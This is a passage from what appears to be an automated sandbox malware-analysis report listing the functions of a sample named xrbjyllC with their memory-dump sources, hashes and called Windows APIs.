Instruction ID: 49af3958e91e4b8a4f5aab985b4ea2ebdfcd5079458d71a1e3f340f78b83e631
Opcode Fuzzy Hash: 0a59aad8cb3a48aee0d0e5ab0dc244a32fcc39d5a498bebe1ce786c4a44174bf
Instruction Fuzzy Hash: B31132B5C002898FCB10DFAAD544AEEFBF4EF88314F10856AD869B7610C379A545CFA1

Function 2AFE6B58 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,?,?,?,?,2AFE6B35), ref: 2AFE6BBF

Memory Dump Source

Source File: 0000000B.00000002.2044111260.000000002AFE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2afe0000_xrbjyllC.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 117070fbd09d4c9ce3a4e0572165a99fcb5fa85c0ef6b3a73f50a413e9e4e39f
Instruction ID: 6a4e0867c7af9d62e9e946910eba720e119ccc5f68ebb66e5b406429a56b086a
Opcode Fuzzy Hash: 117070fbd09d4c9ce3a4e0572165a99fcb5fa85c0ef6b3a73f50a413e9e4e39f
Instruction Fuzzy Hash: 961136B1800248CFCB10DFA9D584BEEFFF4EB48324F20855AD419A7250C7786544CFA4

Function 2AFE55B4 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,?,?,?,?,2AFE6B35), ref: 2AFE6BBF

Memory Dump Source

Source File: 0000000B.00000002.2044111260.000000002AFE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2afe0000_xrbjyllC.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: c7b2fedd2f96751c9424f7083968bc291f33cf87bfcbaea576eb230ac5572cea
Instruction ID: 6def571b6d0ee47b0c2d50d4db879bc3967df30edf8f608f0262c09cbff01286
Opcode Fuzzy Hash: c7b2fedd2f96751c9424f7083968bc291f33cf87bfcbaea576eb230ac5572cea
Instruction Fuzzy Hash: 5C1145B5800348CFCB10DF9AD984BDEFBF4EB48320F208469D918A7210C378A940CFA9

Function 00401870 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040AF66: _malloc.LIBCMT ref: 0040AF80

SysAllocString.OLEAUT32 ref: 00401898

Memory Dump Source

Source File: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1826572703.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1826572703.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: AllocString_malloc
String ID:
API String ID: 959018026-0
Opcode ID: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction ID: c2922591c351a4c461934d9b8210169c8be4224f150a02a6988c85a72df9e820
Opcode Fuzzy Hash: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction Fuzzy Hash: BEF02073501322A7E3316B658841B47B6E8DF80B28F00823FFD44BB391D3B9C85082EA

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1826572703.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1826572703.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Function 2B1E4010 Relevance: 1.4, Strings: 1, Instructions: 175COMMON

Download Yara Rule

Strings

,r+, xrefs: 2B1E4117

Memory Dump Source

Source File: 0000000B.00000002.2047055184.000000002B1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b1e0000_xrbjyllC.jbxd

Similarity

API ID:
String ID: ,r+
API String ID: 0-3397804654
Opcode ID: cc0a7b8fdac78d38d8857b802ee542ec2db7270f0e3042296d5acb39f245aaf1
Instruction ID: 141535049eab6bdd1aad35eb0b5a818e3ae15cfaa2bc701695ac790236ae5764
Opcode Fuzzy Hash: cc0a7b8fdac78d38d8857b802ee542ec2db7270f0e3042296d5acb39f245aaf1
Instruction Fuzzy Hash: 4F615B31E007198FDF05DFA9D891ADEBBB6AF89310F044529D50AAB355DB34AA41CFA0

Function 24F195C8 Relevance: 1.3, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 24F1962A

Memory Dump Source

Source File: 0000000B.00000002.2036287383.0000000024F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 24F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24f10000_xrbjyllC.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: d8faba275d32db6a596ca26b83c2046a3e117cbf6d654ed15494648b82964516
Instruction ID: 1c858f2d259a5047974d569fe41163068c9a7517cbd4bf5f3e5f5acb3607f3d4
Opcode Fuzzy Hash: d8faba275d32db6a596ca26b83c2046a3e117cbf6d654ed15494648b82964516
Instruction Fuzzy Hash: 18113AB1D002488FCB10DFAAC5457EEFBF5EF88324F208419D559A7250C778A944CFA5

Function 2B1E0448 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2047055184.000000002B1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b1e0000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5278c9f28b2a4bde86dd27962d3dac3377f4b7b85eee2fa0a00a0c45009ea041
Instruction ID: 7a068d510a6920af7060050d0fa410f4157183d5e81ac0fffd95f4edf5b6d612
Opcode Fuzzy Hash: 5278c9f28b2a4bde86dd27962d3dac3377f4b7b85eee2fa0a00a0c45009ea041
Instruction Fuzzy Hash: 62617A30600B019FDB64DF39C59675AB7E6FF88240B004A2DD88AC7B55EB75EA45CBA0

Function 2B1E4E20 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2047055184.000000002B1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b1e0000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf4c176f696ade204d3c41e6ae6d159ce2d129d12496bae992a971b87c5e1347
Instruction ID: f0d72c51c7d12622977221f0caec622a42a83c7a3397a22742332590517d600b
Opcode Fuzzy Hash: cf4c176f696ade204d3c41e6ae6d159ce2d129d12496bae992a971b87c5e1347
Instruction Fuzzy Hash: 67415935A005189FDF14CB99D845ADDB7F6FF88711F088065E908EB264DB35EE41CBA0

Function 2B1E0438 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2047055184.000000002B1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b1e0000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c19804a55c46c0da06a7e61cc19161188cc2fbefe230e255442ec7bafc076704
Instruction ID: 35ad7fa67d1080bd7c767032e07c459911de09e236e9253623ee0c9aca9c0542
Opcode Fuzzy Hash: c19804a55c46c0da06a7e61cc19161188cc2fbefe230e255442ec7bafc076704
Instruction Fuzzy Hash: 72412330A00B018FD724CF29D19A746B7F1FF49244F000A2DE88ACBA51E775FA58CBA1

Function 2B1E1EF0 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2047055184.000000002B1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b1e0000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eae518396f454631c3d97fb20be96b665445605553f36ff8ddf6333844630412
Instruction ID: 3dbbaf61ff410c3924b715f5c16bc93870a0147692e8625f56f2e70901ec17ce
Opcode Fuzzy Hash: eae518396f454631c3d97fb20be96b665445605553f36ff8ddf6333844630412
Instruction Fuzzy Hash: 3B31A571E0064A9FCF54DFA8C8419EFFBB5FFA8210B144519E514B7200DB34BA46CBA0

Function 2B1E0FE4 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2047055184.000000002B1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b1e0000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98c015e7667cab75fc3284311a8a2ec626a44d5a1221093ab9df811710ea9bea
Instruction ID: e52f71be8fe31b410766b52eae6834e5b3597c1a1a04e2f10d11921d9b126243
Opcode Fuzzy Hash: 98c015e7667cab75fc3284311a8a2ec626a44d5a1221093ab9df811710ea9bea
Instruction Fuzzy Hash: 84217171E0064A9FCF54DFA9C8419EFFBB5FF98210B148519E519B3204D734BA56CBA0

Function 24EAD5E8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2035844176.0000000024EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 24EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24ead000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 006f46f2a0855d2bda7e81bb7823dcc197a1b9cf0913127191876c89b76de6a7
Instruction ID: 736f08338245fec4f78beced7c48c9f7a9f01d3c83a91659f869f4f0a0c3a319
Opcode Fuzzy Hash: 006f46f2a0855d2bda7e81bb7823dcc197a1b9cf0913127191876c89b76de6a7
Instruction Fuzzy Hash: 42210671500204DFEB06DF14D9C0F0ABFA6FBD4314F2889A9D90D0F256C736D456CAA1

Function 24EBD030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2035928079.0000000024EBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 24EBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24ebd000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d2a80b276d4e5645681bb066964dada5e64b6aa67351723d60e3f2d5ce95582
Instruction ID: c1259aa0fdd400420a739cc401990bd04c20c695ac534014d2cc51cca86fe85b
Opcode Fuzzy Hash: 8d2a80b276d4e5645681bb066964dada5e64b6aa67351723d60e3f2d5ce95582
Instruction Fuzzy Hash: 1B210771604604DFE706DF14E9C0F1ABBA6FB84318F20C5ADD9894B256C336D847CB61

Function 24EBD005 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2035928079.0000000024EBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 24EBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24ebd000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67babbc5dd2affe38ddd79d43857355d1bd6b107cfab806d074c3a733a6ac6f5
Instruction ID: 88f881392334bb1500ba274561d6d978d78abd4815aea0244ae147e88b322603
Opcode Fuzzy Hash: 67babbc5dd2affe38ddd79d43857355d1bd6b107cfab806d074c3a733a6ac6f5
Instruction Fuzzy Hash: 47216B715097C49FD703CF24D994B05BF71EB46218F29C5DBD8888F2A7C23A981ACB62

Function 2B1E0BF8 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2047055184.000000002B1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b1e0000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4970e293d84cf66728c44a97fe2c78ca8bed477dbbbcdd7bb86ef765b8d95a4e
Instruction ID: 6fd4afc0020c9cff76f30bde8b0d1ba37475ba81c0e3a3bbd9bba4e328e3583c
Opcode Fuzzy Hash: 4970e293d84cf66728c44a97fe2c78ca8bed477dbbbcdd7bb86ef765b8d95a4e
Instruction Fuzzy Hash: 97115431201F00CBEB245A70D4AAB16B3A2EF94355F20497ED95E87790CA36FF42CB61

Function 24EAD5E3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2035844176.0000000024EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 24EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24ead000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db79b5eb69be54bde6d22b58705b80061de706f1e28455fb2d9027648eeca995
Instruction ID: 8fa2addd0c19bb942c030e94e28500cefebdf7fc8067d3ed43696d1932d34a03
Opcode Fuzzy Hash: db79b5eb69be54bde6d22b58705b80061de706f1e28455fb2d9027648eeca995
Instruction Fuzzy Hash: 7511B176504240CFDB02CF10D9C4B0ABF72FB94318F28C5A9D9090F256C336D55ACBA2

Function 2B1E0690 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2047055184.000000002B1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b1e0000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 578640d5a43f39f329819837971e55d4521591bc4cfa64bcce56127b39825011
Instruction ID: b516fe2de3c4245ed2061db5ef8abf7cdcb37d35cf9a25e3f7fdcfdf02359d96
Opcode Fuzzy Hash: 578640d5a43f39f329819837971e55d4521591bc4cfa64bcce56127b39825011
Instruction Fuzzy Hash: 2B2144B6C003498FDB10CF9AC484BDEFBF4EB88320F10856AE958A7210C374A645CFA5

Function 2B1E0698 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2047055184.000000002B1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b1e0000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 846e3790020c4e2fba6478db883e661b6c0a0c0377e1c0435bb98e2ebd256676
Instruction ID: 7d599c4913d66eca25f89daf479a4d505145be5776e88d778efd1798aa46d0d6
Opcode Fuzzy Hash: 846e3790020c4e2fba6478db883e661b6c0a0c0377e1c0435bb98e2ebd256676
Instruction Fuzzy Hash: 921104B6D003498FDB10CF9AD544ADEFBF4EB88360F10852AE959B7210C375AA45CFA5

Function 2B1E1E72 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2047055184.000000002B1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b1e0000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 771f1c635235b4fe108e53d117ca3d60c037e2cf12976be268e49ed6eebfb35e
Instruction ID: 1f88f98994aa988411b47a73e4def8bc0f05a80326d465650ffafbdb3518f11c
Opcode Fuzzy Hash: 771f1c635235b4fe108e53d117ca3d60c037e2cf12976be268e49ed6eebfb35e
Instruction Fuzzy Hash: C01140300063868FCB16EFBCC9D89447F72EF467003651BA9C2944B19ADF366529CB61

Function 24EAD005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2035844176.0000000024EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 24EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24ead000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a14ff1a33dd692c36266a79772ecb11cedbdabe136fe53d21ba25d552ddca7e1
Instruction ID: 682132ee20b231b5d7803d45476d8aec2c432354a029616a5d5696fad052e798
Opcode Fuzzy Hash: a14ff1a33dd692c36266a79772ecb11cedbdabe136fe53d21ba25d552ddca7e1
Instruction Fuzzy Hash: 4A01526100E3C05EE7034B259894B56BFB5EF53628F19C5DBD9888F193C2695849C772

Function 24EAD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2035844176.0000000024EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 24EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24ead000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5c4b55cae09bafd23ed97655097a6f5cd525d9e52c3a03a375a7e579f9e0276
Instruction ID: ec3b72ffdf7e616cb652314b15b26fa5ad24367c92a7ed1b1ff72c9d5273edee
Opcode Fuzzy Hash: e5c4b55cae09bafd23ed97655097a6f5cd525d9e52c3a03a375a7e579f9e0276
Instruction Fuzzy Hash: 1A01F7711083509AF3014A25D9C4F5BBFDAEF41728F08C569ED484E186CA799841C6B1

Function 2B1E1E92 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2047055184.000000002B1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b1e0000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f33f64f12e878971ccdb9b28079d5a7ffbe96fcd3f10674021d82e5e2df8ea82
Instruction ID: 82ed6678d9cf8f3b14530ffb66897b409eba08d2061ea1b8e585198e1c2ce030
Opcode Fuzzy Hash: f33f64f12e878971ccdb9b28079d5a7ffbe96fcd3f10674021d82e5e2df8ea82
Instruction Fuzzy Hash: 3CF03734304B508FCB1ADB68E445A1977E1FF8A701B0004AAE245CB7B2CB74ED96CBA1

Function 2B1E4E10 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2047055184.000000002B1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b1e0000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a6ca72f40902ff27c5c150f53fb73ac2926f4b89c23276abd80970c626a7ccb
Instruction ID: 57571fea523f63f94175e39f3bf29dcba9526312d06bd5069f9d487bf59304ae
Opcode Fuzzy Hash: 1a6ca72f40902ff27c5c150f53fb73ac2926f4b89c23276abd80970c626a7ccb
Instruction Fuzzy Hash: 9EF06731E001289FCF08EA98D8846DDBBB6EF89310F04817ADA24A7244DB306956CB61

Function 2B1E0BEA Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2047055184.000000002B1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b1e0000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13520502000860b1c91ea140bd778016c681c5f503b4364f17e80f00f3896431
Instruction ID: 296b0d006a02d9f3b303e967e045a517ec2d5da3c2fafb178096b49d68fa3ae5
Opcode Fuzzy Hash: 13520502000860b1c91ea140bd778016c681c5f503b4364f17e80f00f3896431
Instruction Fuzzy Hash: A5F0E231505B008FDB218A78D58D9A9BBA2EF85361B1005ABD86CC3551CA25AA41C772

Function 2B1E1EA0 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2047055184.000000002B1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b1e0000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5621f328fa8a4b51ed698feb5147656b574d834075e69b81986ff0a7e08054ac
Instruction ID: 8442298390f57574ac5c177113d2ee9e0a8a55480c1cf7cf6620b8a928c89357
Opcode Fuzzy Hash: 5621f328fa8a4b51ed698feb5147656b574d834075e69b81986ff0a7e08054ac
Instruction Fuzzy Hash: 9EF05E34300A108FCB19DF28E441A5973E5FF88711B0005A9E14A8B771CB74EC81CBA4

Function 2B1E0CC4 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2047055184.000000002B1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b1e0000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8657c5e46e4171956d8704a547ff1e94a6400ee4edf4f3dddc789fb20b3296ad
Instruction ID: d66b3d21bcf83f11f3e8dfd226dbeeb49c1aa60ef9b0f7c1bb699e3d4c541eaa
Opcode Fuzzy Hash: 8657c5e46e4171956d8704a547ff1e94a6400ee4edf4f3dddc789fb20b3296ad
Instruction Fuzzy Hash: 14E07D2630D5908FCB0207A67CBA0A2BF10E99108134941D7D18DCE022C9049702C320

Function 2B1E0C9F Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2047055184.000000002B1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b1e0000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeb2a036fcae1f949c23e373284aa9c8bdfee921ab0eeb1b95ac5802fba2b92a
Instruction ID: 3227b9f287a87574599fbcb30220d393c09199e869593591acb295ec2748c0db
Opcode Fuzzy Hash: aeb2a036fcae1f949c23e373284aa9c8bdfee921ab0eeb1b95ac5802fba2b92a
Instruction Fuzzy Hash: CBD01730404A448FC700DF78E599A917BF4AF4A204B1445E6D84D8BA27C632E9168F51

Function 2B1E171B Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2047055184.000000002B1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b1e0000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cda2f2bc2b29b41f67aedeb47ccf74a0af9ca8d9f54c3ebf1ccdf6da4c109b3
Instruction ID: 4a6102d35412d1560889fe73b8a767837f4f7910d7242dd7f4cb685b8a1550c6
Opcode Fuzzy Hash: 5cda2f2bc2b29b41f67aedeb47ccf74a0af9ca8d9f54c3ebf1ccdf6da4c109b3
Instruction Fuzzy Hash: A8D0127AE44218DB8F10CF84F4418DDF331FBC4230B108166C91867204C2316A52CFA0

Function 2B1E4DF0 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2047055184.000000002B1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b1e0000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b75ecefaf7f02dfe1615bad52081af44969930823e1e2eb3067fe3b61648ab07
Instruction ID: aac240740cb4ffb5d44722e1ba6e443a261a489419f0e865d0f0904c398bb21d
Opcode Fuzzy Hash: b75ecefaf7f02dfe1615bad52081af44969930823e1e2eb3067fe3b61648ab07
Instruction Fuzzy Hash: 13C04C204493944ECF4267B458951807F20DE6B300B4614E6C1648B55699543599EB23

Function 2B1E0CB0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2047055184.000000002B1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b1e0000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4055f8bebb1f09e3430c6095b42012c1cc66e4952e1761faa242fe6affef8bb3
Instruction ID: 3bbf454b5b9fc03ef957e261e241749e4bd707ce72a56f356b2931b7ea99cff3
Opcode Fuzzy Hash: 4055f8bebb1f09e3430c6095b42012c1cc66e4952e1761faa242fe6affef8bb3
Instruction Fuzzy Hash: 3DC04834260208CFC244DB68E488D60B3E9AB48A18B2180E9E90D8B723CB32F8128A50

Non-executed Functions

Function 0040CE09 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 004136F4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
TerminateProcess.KERNEL32(00000000), ref: 00413737

Memory Dump Source

Source File: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1826572703.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1826572703.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D

Function 00417081 Relevance: 31.8, APIs: 21, Instructions: 340COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,00000000), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1826572703.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
